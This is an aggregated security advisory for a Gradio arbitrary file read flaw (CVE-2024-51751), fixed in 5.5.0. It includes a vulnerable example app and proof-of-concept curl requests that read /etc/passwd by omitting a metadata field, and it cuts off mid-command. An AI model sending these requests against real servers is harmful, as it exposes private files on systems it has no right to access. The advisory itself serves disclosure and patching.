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EUVD-2026-199803

fkie_cve-2024-51751

Gradio is an open-source Python package designed to enable quick builds of a demo or web application. If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. This issue has been addressed in release version 5.5.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

GHSA-rhm9-gp5p-5248 — Gradio vulnerable to arbitrary file read with File and UploadButton components

Affected: PyPI: gradio

### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.

### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr

def greet(value: bytes): return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__": demo.launch() ```

If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ```

Then this results in the following error on the server

``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ```

This is expected. However, if we now remove the `"meta":{"_type":"gradio.FileData"}` from the request: ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"sess…

PYSEC-2024-275

Affected: PyPI: gradio